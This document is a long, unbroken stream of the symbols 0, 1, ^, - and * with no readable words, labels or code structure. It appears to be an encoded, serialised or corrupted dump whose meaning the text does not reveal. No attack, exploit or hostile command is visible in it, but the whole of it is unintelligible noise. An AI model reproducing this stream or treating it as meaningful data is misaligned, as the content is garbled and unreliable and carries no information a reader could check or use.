0101*1^1*^1101********001^-*00^1*^10-1^-11*10101*1*1*0101*01^1**11*0101*00101****01**0^1*1^-0--------1^-1*-*-1*--------0101^1*-*0101*1^1*0011*0-11*********^1*0^-001**00---101*0101*01*1*--------10110101*-*0101*1^1*^11010110-10-11*1*^1*-00-11**01*1*1*0101*01^1*^11*010101*11*********001*011********0101101********00-1*1********00101*********-0^1*********^1*********11011********001********************00101101*********0-001*******************00^1*******************0-*0101*1*101*1*1*00101*1^1**11***********0010-01101^1*********11*0010-0---------0010-*-00^1101*****001*10--1011*001*010^1010-00-11*0^1*1*1*-----110---1101*0-*-*01^1*1101*0-11*********^1*0--00^1**1*001*1*-----110--*0-*0-*-*01^1*01011*001*001^1**1101*-00--0^--0-11*010110101*^1**********11*001*01****01**001**0--01*^101010110-11*001****01**001**0--001010110-11*001****01**001**0--0-01*001*001*1*-----110--10-001*-*-*01^1*0101*0-11*0101****01**00101*-1011*01*01*1*011****001**1^1^-101^11****01**001*-*101*1***1*01*1*011****001**-01^-10110-*001*1**1*01*1*011****001**10101^-101^11*001*1**1*01*1*011****001**^-00-10110101*001*1**1*01*1**1*01^1*011****001***01^1^-0011*00-----110--10-011*-*-*01^1*^1101*0-00-11*1*^1*^10-11**01*1*1*-*001^1*011****011**00^1*00101*01*001*1*011*******00101011*10^^-*011***10^11011**1*0-*1101*0-11*011****011**10-001*10^1101**-^1*^-001**001*0101*-01*11011**1*0-----10--1*01**-*-*01^1*^110101*^11*0^-11*1*1*1*1*1*^1*****01***00-**^1*1*1*1*011*001^1*011****011**00^1*00101*01*001*1*011****011**1*-*0101*-**^^1011010-*-*001*0011*******************00-1*01*01*11****001***1^1*10^^11*01*11011**^1^10101*1*001*0101**1*0-----10---1^1*0-*-*01^1*1011*0-11*101*001^1*011****011**00^1*00101*01*001*1*011****011**10-001*10^1101**-^1*^^1***01*0101*01011*11011*011*******011**00101*0-*-*001011010-*0110-0101*001*101*0-11**1*0-----10--^-11*0-*-*01^1*01011*001*001^1*01101*-----10---1*01*-*-*01^1*00-*1011*0110101******10101101*101*********011*1*001*********1011011*00^110101******^1011*0101******1**011*1**01******1**0--**0^110101******110-*00101******01**0^1**001******01**10-1**01*11*******011**00101*0-*-*001011010-*01101011011*001********0011*-*001*001*0-----10--10-0011*-*-*01^1**11*0011*0110101******1*0101*101*-0010-11*0-1*110101******0-*1*101******1**0-11011*001******1**01*1011*001*11****011**0011*1*101*^11*1*1^-0011010^11*001********************01*01*01*0-*110101******-1*1*101******01**-*01*001******01**101*11*001*11****011**1*-*0101*-**^^11010101101^1**1*0011*******************00-1*01*01******01**--0110-0-001*01^1*0101****01**0^1*1^-0--------00110-*-001*^1********1101^1*001**1*1*1*--------0-11*00-*-*01^1*^1101*1*10-11*1*^1********-0-1*00^-1*01*1*********0^1*010-00110101******-01101*101********0010^101*001********0011*011*00^-*00--------10^11*0-*-*01^1*0-*0-11*1101*0110101******0-*1*101******11**101*11*001******11**110^11*001*11****011**0011*1*101*^11*1*1^-00--0011*001*******************011**1*0^^11*110101******-1*1*101******1**00^1**001******1***00101**1*11****011**1*-*0101*-**^^11010101101^1**1*0011********************11*001*01**********^1********************101*****001**001^11*********00^1*****001**01^11******1***11******01***011011*******************01*01*****01**00-01******1**010^101*****001**101*1*****001**010^101********-00-*****01**0^-********001101*1********1*1*101*^-*01*1*0-*01^1*-1*0-11******011**01101*^-001**00--1*11*0101*01*1******011**11*101*-*101*01^1*01101**********1********************11***********1********************101*00101*1*11*01*1*0011*01^1*01101*0^1*1^1*001*******-1*10--01*1*1^1*001*******0-11010--*001*1^1*001****01**0-010^--0-1*01^1*001****01**001**0--001101*1^1*001****01**0^110^--010101*1^1*001****01*****0--001101*01^1*********1***-001*1***001**0-1*******01**1*****001**001^11011****10101*01*******110-0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******110-0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**011*-*101*11*******011**0010^-01*-*001011010-*01101*011*001*011*0-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1*****0--------*0011*0-*10101*1^1*11****01****-*01011********-********************0011*******************************101*00101*1*01*01*1**1*01^1*^11*01010^--------0010-1*-0011011*--------1*101*0-001011*001011*********-**10-0010-01*011*-*00--------*0011*0-001011*0^1101*****00^11011*01101*001*010^1********^11011*001*11*001*1*1101**011010-**01*001101*00101101010^1*01**101**011010-01*011**101****1**010---1011011011******00-**11*-**11011******011**0011*101**--------1*^1*-001011*0^11*--------01010-*-00^110101*^^110110-11*101*001*1*1*^101011010-11*101*001*1*--------*10101*-001011*0-01*********-*********001**0101*101*01^11*00^110^1*110-11*1*0110101**01*00--------**11*-001011*0^1101********010^101*00^1*^10-1*001*001*1*0101*001101*********0^-********00^101*******************0101101********00^1*********-*01********0^101********01*001********0010-********00-*01********0101*0101*10^1*01011*010-*011*001^1*001*******010101010--0101*001^1*001****01**0-010^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1***001**00-*********00--1***01***1^1^1*--------*1011*0-*10101*1^1*11****01**0-11011*01011*******************11*********00-*******************************101*00101*1*01*01*1**1*01^1*01011*01010^--------01010-*-00^1101*********010-*00^1*^10-1^-11*011*001*1*--------10^11*0-001011*0^11*********-**10-0010-01*011*-*00--------0010-*0-001011*0^1*0-11*1101**011010-**01*001101*00101101010^1*01**101**011010-01*011**101******001010-0-1011011011******011**0011*101**--------1^^1*-001011*0^1101******110--01*1*001*010^-01*0-11*101*001*1*--------0010-1*-0010-*--------01010101*-001011*0-01*********-*********001**0101*101*01^11*00^1101010-*-11*1*011*1*0011**--------01*011*-001011*01*^1*****01**0-***01*01*001*1*0101*001101*********0-101********00-001********0--**********1*********010^1********0010^1********010-11********0010^1********00-01*******************00101*0101*10^1*01011*001101*011*001^1*001****01*****0--0101*001^1*001*******-1*10--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1******001^11*********10-1**0011***01^1^1******0--------11***-*01*001^1*0101*0-11*01010^1********1*-0010-0-*00--------01^-*-00^1101******010-011*11**^1^^1********10110-*00^-*001*1*--------01^1*00-*01*001^1*1*^11*0110-11*101*001*1*********0011*0010-0010-01*011**1*0--------010-*00-*01*001^1*^110^1*110-11*1*^1101^10-11*101*001*1*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------1010101*0-*01*001^1*^1101******^1^11*-*001*010^1********101*01*001*11*001*1*1101*00101****1**01010^-11011011011******011**0011*-**11011******00-**11*101**--------00-11*0-*01*001^1*^1101*110110-11*1*^1*****01***^101*00^101*001*1*1101**101*--------1^-1*-*0011*--------0110^1*-*01*001^1*-01**********1*********01**0101*101*01^11*00^1101*0^10-11*1*011*1*00101*00---------10101*-*01*001^1*0101*0-11*0101*001101*--------010-01*-*01*001^1*1101*0-11*01^1*11****01**00-1011*01011********-1*********001011***********01*******************010-********0110-********00-1*1********-1*********001101101********101^1********0^-********0010-101********0011*0101*1*1*001*1*********011*1*0-00-*001^1*001****01**0^110^--0011*001^1*001*******-1*10--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**01011******001**00-1***0011***01^1^1*-----10---10-1*-*01*001^1*^1101******10-*01*11*00^1^^1*****01**001*101*00^^1*01*1*010101*0-00--01********01101*1*00^^1101*1*001*^1*11010-11*001****01**001**0--*011010-11*001****01**001**0--0-*00--------^10-*-00^1101********00-*1*00^1*^^10-0-11**1*01*1*--------011011*00-*01*001^1*1*^-010^-11*-*001*1*********0011*0010-0010-01*011**1*0--------010^1*0-*01*001^1*^11*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------0-101*0-*01*001^1*^1*0-11*1101*00101******00-11011*101*1**--------0-011*0-*01*001^1*^1*0-11*1101*0-11*-11*--------1^-1*-00-01*--------**01*-*01*001^1*^1101********0-^11*00^1*^1*00110-11*011*001*1*********0^1*********1**0101*101*01^11*00^1101010101*-11*1*011*1*0011**--------11*101*-*01*001^1*1101*0-11*0101*001101*--------0-0101*-*01*001^1*^1101*****00-1^1101***01*010^1*****01**00101^1*00^101*001*1*01^1*11****01**010-011*01011********01^1********0010-101********1101011********0-^1********011011*******************0011*101********11*101********--1********0--1********01101101********0-^1*********11*0101*1*1*001*1*********0^101*0-00^1*01^1*001****01**0^110^--*01*01^1*001****01*****0--0-*001^1*001****01**001**0--0011*001^1*001*******0-11010--0101*001^1*001*******010101010--001101*01^1*********1***-001*1***001***11******001***0-***0011***1^1^1*01010^^1*01*1*-----11010--1**00-00-1*01^1*^1101*****001*0^10^11**1*010^1*****01****01**^1^1*1*1*-----11010-^-**-00-1*01^1**10^-11*--------0^-1*-*01^10-11*-----11010-^1101*00-00-1*01^1*^1101*****00^10-00-1**01*010^1*****001**101101**0^1^1*1*1*********10101*^-001**00--11*0^-11*1011*01*1*-----11010-^1^1*0-00-1*01^1*-10^-11*1011*01^1*-01*--------0^-1*-00-10^-11*-----11010---01*0-00-1*01^1*10101010-11*********^1*0^-001**00--101101*1011*01*1*-----11010-10^-*0-00-1*01^1*^1101010-*-11*1*^1********01101101*001*^1*1*1*1011*01^1*10-*-11*-----11010-1*1*1*-00-1*01^1*-01*--------0^-1*-001*0010-11*-----11010--10^1*-00-1*01^1*^1101*****001^101101101**001*010^1010-10-11*00101*1*1*********0^1*^-001**00--^-*-11*1011*01*1*-----11010-^101101*-00-1*01^1*^1101******01*-****1*010^-*010-11*00101*1*1*1011*01^1*1^1*-11*--------01^-*-00^110101*^1********01101011*001*1101*1*1*1*^101*^-11*01101*1*1*-----11010-110-011*-00-1*01^1*01101010-11*********^1*010-^^11010-01*^101^-*^1*001*1**1*0--------01^-*-00^110101*^1********110-01*001*^1*1*1*1*^110^110-11*0^1*1*1*-----10110-1101**00-00-1*01^1*1^1*-11*********^1*0^-001**00--10^1*-11*1011*01*1*-----10110-1^11**-00-1*01^1*01*^-11*1011*01^1*-1*0-11*0011*01^1*01101*--------0^-1*-*1*^-11*-----10110-1*011*00-00-1*01^1*01*010-11*********^1*0^-001**00--10-*0-11*1011*01*1*-----10110-^1*1*0-00-1*01^1*11011*1011*01^1*^11*1101*001101*--------01^-*-00^1101*****0010^^-0011**1*010^1*****01**0110-11*00^1^1*1*1*-----10110-^^11*0-00-1*01^1*^110101*^10--0-11*01101*1*1*1*^1********10110101*001*1101*1*1*********10101*^-001**00--1*11*1011*01*1*-----10110--*001*-00-1*01^1*^1101********01011*1*00^1*^1*********10-*001*1101*1*1*1011*01^1*10101*-11*0011**011010-01**1*0--------^10-*-00^1101010101010-11*1*^1*****01**00-1**001*1101*1*1*-----10110-1*01101*-00-1*01^1*^1101******01*1101101**001*010^-*010-11*00101*1*1*********0^1*^-001**00--^101*-11*1011*01*1*-----10110-1101^11*-00-1*01^1*1*1^-11*1011*01^1*00-*001*001^1*110101******0011**0101******01**-1^1*001******01**11010101*001*11****011**11*1*0010^--------0^-1*-001*1^-11*-----10110-10110-1*-00-1*01^1*^1101*****001011**01101**^1^^1^10110-11**01*1*1*********0^1*^-001**00---011*1011*01*1*------10-10^1**-00-1*01^1***10-11*1011*01^1*0101*0-11*0101**0110^1011*011*00--------0^-1*-**0010-11*------10-1010101*00-00-1*01^1*1*0^-11*********^1*0^-001**00--1^1*0-11*1011*01*1*------10-10-11*00-00-1*01^1*^1101*****00^1*-101101*00^1^^--010-11**01*1*1*1011*01^1*01101*-11*0011*01^1**11010-01*0011*01*1*--------1^-1*-0010-*------10-1*0011*0-00-1*01^1*0^1010-11*********^1*0^-001**00--110101*-11*1011*01*1*------10-^10-*0-00-1*01^1*1*1010-11*1011*01^1*00101*-11*------10-11**1*-00-1*01^1*^1101********001010101*00^1*^10-1^-11*0^1*1*1*011*001^1*110101******^101*0010^-10^-11*01011*-11*1*******0010^1*011*-00^1*1**1*001*1*011*001*1*--------0^-1*-001*1010-11*------10-1*01101*-00-1*01^1*0^1*-11*********^1*0^-001**00---001*-11*1011*01*1*------10-^1*11*-00-1*01^1*^1101*****001010-*11011**1*010^1*01^-11*00101*1*1*1011*01^1*0011*0-11*--------01010-*-00^1101*****00^1*00110-1*001*010^-011*00101*1*1*------10-1^10-*-00-1*01^1*1*^11*1*-11*1*1*1*1*********0011*00-1^^110^1011*^101^-*1^1*0011*00---------10-*-001*^-^^-11*1*1*1*1*-----1*-110101**0-00-1*01^1*101^10-11*********^1*0^-001**00---01*0-11*1011*01*1*-----1*-110-1**-00-1*01^1*--00-11*1011*01^1*1*1*-11*-*001^1*110101********11*101******11**011*01*001******11**0^^1*001*011*01*1*1101*01*1*--------0^-1*-00--00-11*-----1*--11*1*0-00-1*01^1*1011*0-11*********^1*0^-001**00--1*01*-11*1011*01*1*-----1*--101101*0-00-1*01^1*11011010^1*0-11*1*^11*-0-11*10101*1*1*1011*01^1*-01*-11*---------10-*-001*^1**10-11*10101*1*1*-----1*-11*-1*0-00-1*01^1*^1101*****001*101^101011*001*010^1010-00-11*00101*1*1*********0^1*--00110101******0^-*0101******11**001***01******11**01*11**^1101*01*1*0011*01*1*--------0^-1*-*101*0-11*-----1*--0010101*-00-1*01^1*^11**********1*0^-001**00--101101*-11*1011*01*1*-----1*-1^-101*-00-1*01^1*01101^-11*1011*01^1*1101*0-11*1101**011010-01*-*00--------00110-*-00^110101101*0-11*1*^1*^10-11*1*1*1*1*-----1*-1101011011*-00-1*01^1*^1101******--10101011**1*010^1**********01*001*0101*1*1*********10101*^-001**00--10101*0-11*1011*01*1*-----1*-11010-11*-00-1*01^1*110110^1011*1*^1*-10-11*1*1*1*1*1011*01^1*-11*-11*-----1^-1^11**0-00-1*01^1**1101011011*1*^1********-0-1*001*1101*1*1*^1*01^1*110101******^101*00101******01**0101011**1******01**-1101**^1*******0010^1*011*11*10-00110^10-10-11*^110101^^1^11010-01*0101*01*1**1*01*1*^110^101*01*1*0010^10101*01*1*101*001*1*^1*01*1*--------0^-1*-**0^-11*-----1^-11*0101*0-00-1*01^1*00-*-11*********^1*0^-001**00--10-1*-11*1011*01*1*-----1^-1^^11*0-00-1*01^1*^1101******0-1101101101**1*010^1********010-11*00^1^1*1*1*1011*01^1*1011*0-11*011*001^1*011****011**0011*1*101*^11*1*110101^-011*1*001**********************1*0^-01*--------01^-*-00^1101*****00-01^--1**1*010^1********110^11*00^1^1*1*1*-----1^-1101^101*-00-1*01^1*01011*-11*********^1*0^-001**00--^11*0-11*1011*01*1*-----1^-11010-01*-00-1*01^1*^1101*****001^10-0110-*001*010^1*****01**0-10-*00^1^1*1*1*1011*01^1*0-*0-11*1101*01^1*11**--------0^-1*-*0110^-11*-----1^--0-011*-00-1*01^1*-1*0-11*********^1*0^-001**00--11011*0-11*1011*01*1*-----1^--*-1*-00-1*01^1*^1101*****00--10101^1**1*010^1*****001**1010101**^1^1*1*1*1011*01^1**11*-11*011*001^1*110101******0-101*0101******11**0^-**1******11****1**1*11*001*1*011*001*1*011*001*1*--------0^-1*-00-00^-11*-----1010-11*101*00-00-1*01^1*1^1^-11*********^1*0^-001**00---101*-11*1011*01*1*-----1010-1^-1*00-00-1*01^1*01101*-11*1011*01^1*1*0^-11*--------00110-*-001*^1********110-01*001*^1*1*1*-----1010-110110101*0-00-1*01^1*-01^-11*********^1*0--00^101^-*1101*001*1*0101*01*1*--------01^-*-00^1101*****001011*10110101**1*010^1********1101*1*001*0101*1*1*-----1010--0-11*0-00-1*01^1*-01**********1*0^-001**00--1*00^-11*1011*01*1*-----1010-11*0^1*-00-1*01^1*1*^^-110-11*0^1*1*1*1011*01^1*01011*0011*001101*--------00110-*-*00110^1*^-11*1*^-*010-11*0^1*1*1*-----1010-110-0101*-00-1*01^1*010-00-11*********^1*0^-001**00--1^11*1011*01*1*-----1010--*0011*-00-1*01^1*1101*0-11*1011*01^1**00^-11*0101*01^1**11010-01*0101*01*1*--------0^-1*-001101*0-11*-----1010--1011011*-00-1*01^1*^1101******1*0101010-1*00^1^^1*****01**0-1***1**1*1*1*********10101*^-001**00----*-11*1011*01*1*-----1010--10-11*-00-1*01^1*110-00-11*1011*01^1*0-1*------0--11**00-00-1*01^1*^1101*****001^101*0101**01*010^1**10-11*00101*1*1*--------0^-1*-00110-00-11*------0-11*001*00-00-1*01^1*^110^1101*-11*1*^1*****01**0-0-**^10101*1*1*********0^1*^-001**00--110-*1011*01*1*------0-1^-1*00-00-1*01^1*00101^-11*1011*01^1*00-*-11*0101*01^1*-01*--------0^-1*-*0101^-11*------0--^101*0-00-1*01^1*00^^-11*********^1*0^-001**00---011*-11*1011*01*1*------0--1^11*0-00-1*01^1*^1101*1*10-11*1*^1*-10-11*1*1*1*1*1011*01^1**11*0101*001101*--------^10-*-00^1101*******011011011011*00^1^^110-^-11**01*1*1*------0--101*1*-00-1*01^1*-01*-11*********^1*0^-001**00---101*1011*01*1*------0-110-^1*-00-1*01^1*01^^-11*1011*01^1*0-1*-11*--------01^-*-00^1101*****00-0-011010-*001*010^1********0-*1*001*0101*1*1*------0-110-1101*-00-1*01^1*^11*-11*********^1*0^-*010^10101*01*1*101*001*1*--------0^-1*-*1^^-11*------0-11*11011*-00-1*01^1**-00-11*********^1*0^-001**00--110-*-11*1011*01*1*------0-1^110-*-00-1*01^1*^1101******010--10-**^1^^1*****01**01^^1*001**1*1*1*1011*01^1*11011*1011*0110101******0011**0101******1***010-*001******1***-011*001*1**--------01^-*-00^1101******001^10101*1*001*010^1*****01**0101*1**^1^1*1*1*-----^--*101*00-00-1*01^1*^1101******--1^1^1*001*010^1**********01*001*0101*1*1*********10101*^-001**00--101011*1011*01*1*-----^---*1*0-00-1*01^1*0-0^-11*1011*01^1*11011*-11*-----^--0010101*0-00-1*01^1*0-0010-11*^1*01^1*110101******^101*00101******11**101011**01******11******0^1*******0010^1*011*11*10-0011010110101********11*101******1**0^11011*001******1**0101^11*00^^11010-01*110101******0^-*0101******11**^^11*001******11**-10101*001*11*001*1*011*001*1*^110^10-10-11*0010^101101*101*001*1*^1*01*1*--------0^-1*-*-0^-11*-----^--^10101*-00-1*01^1*^1101******10^-*011**1*010^1*****01**010101011*00^1^1*1*1*********10101*^-001**00--101011*-11*1011*01*1*-----^--^^11*-00-1*01^1*^^10-11*1011*01^1**01*-11*-----^--01101011*-00-1*01^1*^1101*****001010^1^-**0^1^^1*********01101*001**1*1*1*--------0^-1*-00^^10-11*-----^--0^-1*-00-1*01^1*011*10-11*********^1*0^-001**00---11*0-11*1011*01*1*-----110--011**00-00-1*01^1*1*^1*11*-11*0^1*1*1*1011*01^1*^11*-11**1*01^1*110101******0011**0101*********11*01*001*********^1101*001*11*001*1*--------0^-1*-00-11*-11*-----110--*011*00-00-1*01^1*^1101********01*-1*00^1*^1********-*11*001*^1*1*1*********10101*^-001**00--1*11*-11*1011*01*1*-----110--*0101*0-00-1*01^1**^10-11*1011*01^1*10-*-----110--00-01*0-00-1*01^1*0-1*101*001^1*1*******001011*01011*1*11010-01*110110^1011*110101******0^-*0101********00^-01*001********00-11011*001*1**--------0^-1*-*00^10-11*-----110--011*01*-00-1*01^1*^-00-11*********^1*0^-001**00--^-*1011*01*1*-----110--^1^1*-00-1*01^1*0-1^-11*1011*01^1*01011*-11*^1*01^1*011****011**0011*1*101*^11*1*110101^11*1*1*001*******************01011*01*01*1011*--------0^-1*-*-1^-11*-----110--11*011*-00-1*01^1*-^10-11*********^1*0^-001**00--1^11*-11*1011*01*1*-----110---01011*-00-1*01^1*^10^-11*1011*01^1*0^1*-11*011*001^1*110101******^101*00101******1***-001*001******1**0^10101*00^1*******0010^1*011*-1*001*1*011*001*1*--------0^-1*-00^10^-11*-----10--1101**00-00-1*01^1*1*^1********001*11*00^1*1*1*1*********-1*0^-001**00--11*1*-11*1011*01*1*-----10----**-00-1*01^1*10110^-11*1011*01^1*^1*0-11*-----10--^1101*00-00-1*01^1*^1*0-11*0-^-0101******01^11*0101******1**01*11**01******1**01101101**1*101******0010-*1^-0110101******01011011*10^110101******00-011*10^^11*110101******01101011*101*11*00^1*0-*00101*001*1*--------01^-*-00^1101*****00^10-0-101**^1^^1*****01**010-**001**1*1*1*-----10--10^-*0-00-1*01^1*^1101*****001**-^-*00^1^^1********11*-*001**1*1*1*********10101*^-001**00--10-1*1011*01*1*-----10--11*^1*-00-1*01^1*001^10-11*1011*01^1*01101*******01*01^1011*****0^1*0101*1*****00101***1011******01*001011******0-*0011*01*****00-*00^101******101*001*^1********1*0-*****001**^^1******11*0010-001*****0^1*01**1*****001**1*1101******1*001011******001***101011*****01**0101^1********011*******01**00^1101******01*0^10-*****0-**0-******0011*00^11011******01**10-*****00^1*0110101******-*001101*1*****0011*00--1*****001***1*********00-1^1*****011**011011******11**01*101*****011**00--*****01**00-1******001**001^11******1**010101*****00101*001*0-*****0^1*01011******0011**1*011******01**0-11*****00-*0010--*****0-***1011*****0-*0010--*****0^1*01*101******1**0110101********00--******01*0011*-*****01**0-*11********0-11*********11*11*****0^1*00110^1******1**0110101*****001**--11*****001***1*1*****011**1*101*****************01**1*01*****0-**10-1*****00101*0011*101*****01**0-0^1******01**1^1*****00101*00^-******101**010101*****00-**-0101*****0101**101*******1**0^-1*****0^1**0-1*****0011**01*1******001*001*011*****00^1*010101******0011*0011*011******01*011010101*****0011**010-1********0011*******1**1*1101******1*00-*11*****011**^^11*****0011*0010-01******11*00-101******11**00-011*****0011**1*01********01*-*****001**01*001*****00-*00-1101*****0011**0110^1******01*0^1101*****001**0110-11*****0101*00110-11*****011**001*01******1*001^11******1***10-********0-01010101*10-1*01*1*-1*01^1*11*^-11*01101*1^1*001****01**001**0--010101*1^1*001*******0-11010--*101*1^1*001*******-1*10--01^1*1^1*001*******010101010--00^1*1^1*001****01*****0--01*1*1^1*001****01**0-010^--*001*1^1*001****01**0^110^--001101*01^1*********1***-001*1***001**01101******001101**0-***0-***1^1^1*1*******0010101*********011*******11**1101*1*****001**-11011********00110101******************************0^1*****0011***001******01**101101********001^-1********01**1*******0010101*********011*******01**0-0011*****01**01101011*****001**011*11******************************-001******1**10-01********0010^11*****01**01^^1********01********^1101*001********001010^-*001*1*-----^--*11**-00---------0011*0-0011*^1^1*00-*--------1^-1*-00^11*--------1010-*0-0011*^1^1*^1*0-11*********^1*0^-001**00--1^11*0101*01*1*--------*1*1*-0011*^1^1*^110101^^1*****01***1***01*0011*1*1*1^^1*****01***1***01*0011*1*1*0101*01^1*-01*--------1^-1*-*1101*--------^10101*-0011*^1^1*0101*0-11*********^1*0^-001**00--101101*0101*01*1*--------00-101*-0011*^1^1*0-1*0101*01^1*^11*010101*11********************001^1*********101101********01011********************-0011*******************01**********01*11********001^1*********1*11********01*001*********11*0101*1011*^1*1*11*^1^1*11011***********0010-01101^1*********11*0010-011*************************************************************0101*00101*101*0^1*1*1*0^1^1*^11*00-0110101******001^^-110110-*00--------1^-1*-*1101*--------*^11*-*-1*1^1*^1101010101010-11*1*^-011*-11*-11*1*1*********-1*0^-00-*********0011011*****************************************11011*******************001*01********00-*00101*^-1*1*1*0-1*1^1*-01**********^1010-0--------1^-101*-*0-*1^1*01011*-----10--1010^10--00^101^-*1*1*01*1*^1*01*1*---------^11*-*0-*1^1*^11*^1*01^1**11010-01*^1*01*1******************************01*01*********-********************1*01*******************0-*00101*1*-*1*1*00-*1^1*00-***********0010-01101^1*********11*0010-011*************************************************************0101*00101*^1011*1*1*01011*1^1*-01*00-0110101******001^^-110110^1*0--------1^-1*-0011011*--------01*011*-00-01*1^1*^1101******00-0011011011*00^1^^1*********-01*001*0011*1*1*********10101*^-00^1*********01*01********00-001*******************0-001******************************-001********00-*00101*10-01*1*1*-01*1^1**11*********0-001010-0110101****01**00101*-101^11*001*1*011****001**1^1^-101^11****01**0^11011*101*1**011*001*1*011****001**-01^-101^11****01***-011*101*01*001*1*101*001*1*011*001*1*011****001**10101^-1011*1*001*1*011*001*1*011****001**^-00-101^11****001***1^1*101*0011*01*11011**^1^1**01*001*0101*011*001*1*011*001^1*011****001***01^1^-0011*00--------011*01*-0010101*1^1**11*101*001^1*1*******0011**0010-0110101******0--*0101******11**0-^1*001******11**-1*1*001*11****001***1^1*101*0011*01*11011**^1^101^1**01*0101*^1*0--------1*1101*-0010101*1^1*00-*001*001^1*1*******0011**0010-0110101******0--*0101******01**0--**1******01**-1011**1*11*******00101011*10^^-*011***101*1101**1*1011*^^10-11*^1**********1101*******************0-1^1******************00-0101********0-1^1******************00-*00101*1010101*1*1*10101*1^1*^11*1011*0110101******01*101*101******11**-0^1*001******11**10-001*001*001*0-***************************************************************101*00101*101^1*1*1*1^1*1^1*01011*0011*00101^1^1*01*1**1*01*1******01**011010101*-00^1*01^1*01101**1*01^1*110101******0010-*0101******01**1*-1*001******01**-0-1*00^-*******01**-10-10-0-11*001^1*011*00--------^10-*-00^110^1011010-11*1*^1********0-^1*00^1011*01*1*--------110^11*-001*1*1^1**11**********1*0010-00-**********************01********001^1********00110-*********00-*********-1***********1********************1*0101*101*1*1*1*1*1*1^1*10-*1101*0110101******01*101*101******01**0011011**1******01**01^11**1*11****011**1*-*0101*-**^^1011010-*-*001*-1********************11*001*01*101****1**001101*0--*************************************************************00101*00101*10-1*01*1*-1*01^1*01011******011**00110^^-001**00--1*11*0101*01*1*--------10-11*0-*011*01^1**11*0101*01^1**11*0101*00101****01**0^1*1^-0--------00110-*-001*^1*****01**00-011**^1011*01*1*--------1101^1*-*011*01^1*-01**********1*0^-*-^--01********0010^11*00^-1101*10^1*****001***0101**1*01*******010101010--*10^1********00110-*001*01*******010101010--*********110-*001*01*******010101010--01**00---101*0101*01*1******011**11*-*-*101*01^1*01101********************001********************1010101**********11********0-^1**********11********0-*00101*1*11*01*1*0011*01^1*00-*1011*01^1*001****01**001**0--*011*1^1*001****01**0^110^--0-11*1^1*001****01**0-010^--001101*01^1*********1***-001*1***001**00101*******01*00101011***0-***1^11011****10101*01*******010-0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******010-0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**001011011*101*11*******011**00101*0011*-*001011010-*0-1^101*001*10-00-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1********--------11*11*0-*10101*1^1*11****01**0-01011*01011********011********************0-**********11*********00-*********00101*00101*10-*001*1*-*001^1*^11*01010^---------0101*0-*011*0^1101*****00101011*10-11*001*010^10-1*-11*101*001*1*--------0010-1*-*1011*--------0-011*0-*011*0^1101*****001^10-10-01*00^1^^1*****01**0-***01*01*001*1*********00101*^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011**101****1**010-*-1011011**11011******011**0011*101**--------0-^1*-*011*011011*--------0010-1*-0010-*--------11010101*-*011*01*^1*****01**00-011**^^1*********01011*********01**0101*101*01^11*00^110^1101^-11*1*011*1*00101*00--------^^11*-*011*0^11*0101*001101*********101101********00110-1*********1011*********************01********0110-1********0^1*********0101101**********001********00101011********00101*0101*1*01**11**-*101*001^1*001*******-1*10--*1*001^1*001****01**0^110^--01011**1****01**001**0--001101*01^1*********1***-001*1***001**0^1*********01*-1**0011***01^1^1*********--------001**00-*01*001^1*0101*0-11*01010^-*00--------01^-*-00^1101******01*0-11011**^1^^1********001^11*001*11*001*1*--------01*1*00-*01*001^1*^1101******-01*-^1*00^1^^1********0011*1*001*11*001*1*********10101*010-0010-01*011**1*0----------*00-*01*001^1*^1101******0^1010-^1*00^1^^1*****01**010-001*001*11*001*1*0011**01101*01*001**0011*00101101010^1*1**0101**011010-01*011*00--------*0011*0-*01*001^1*^1101*-^-11*1*^-101*-*001*1*1101*00101******001*0101*10^--------0010-*0-*01*001^1*1101*0-11*1101*0^1*0-11*--------1^-1*-0010-*--------011*01*-*01*001^1*^1101******1*010110-11*00^1^^1*****01**0-1***1*11*001*1*********10101*********1**0101*101*01^11*00^1101*-010-11*1*01^1**11**--------00110101*-*01*001^1*0101*0-11*0101*001101*---------01101*-*01*001^1*1*^-010^-11*101*001*1*01^1*11****01**001101011*01011********^1011********010-*********010-01********^^1********01010101********0^1011*********-101********0^1********************101*1******************001010101*********11*0101*1*1*001*1*********^^1*0-00-*001^1*001****01*****0--0011*001^1*001****01**0^110^--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1********01*****001**010-***0011***01^1^1*--------0101**0-001011*0^110101010-0-11*1*^110^110-11*001*001*1*01010^1*******0011**1010-0-*00---------11**-001011*00-1*--------0010-1*-*0011*--------001101*00-001011*011011*********-*00^-0010-01*-00--01********0011*11*00^-11010101*001*^110-*001*******0-11010--010-*001*******0-11010--*011**11010101**101101010^^101**101**011010-01*011*00--------^1101*0-001011*0^110101^-0-11*1*^1*****01***^101*00^101*001*1*1101*00101******00-11**10^11011******011**0011*^1*0011011******01011**11*-**11011******00-**11*101**--------01*001*-001011*0^11010--00-11*1*^1********1**1*001*01*001*1*1101**101*--------0010-1*-00^11*--------1101^1*-001011**-*********-*********001**0101*101*01^11*00^110^^1^-11*1*0110101**01**-*0--------00101101*-001011*00-1*0101*001101*--------10-101*-001011*010-*01^1*11****01**010101011*01011********0^1101*****************************001101*********1011*********0101011*********0^101*********^1*********0^1********011010101********1010-********01*-*********11*0101*10^1*********011*01*0-00101*001^1*001****01**001**0--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******00-011*****001***001***00-***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11***0010101*01*******^-0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******^-0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01********-0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01********-0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******-0110110-11011**01**01101*01^1*********1***-001*1******0101011********00-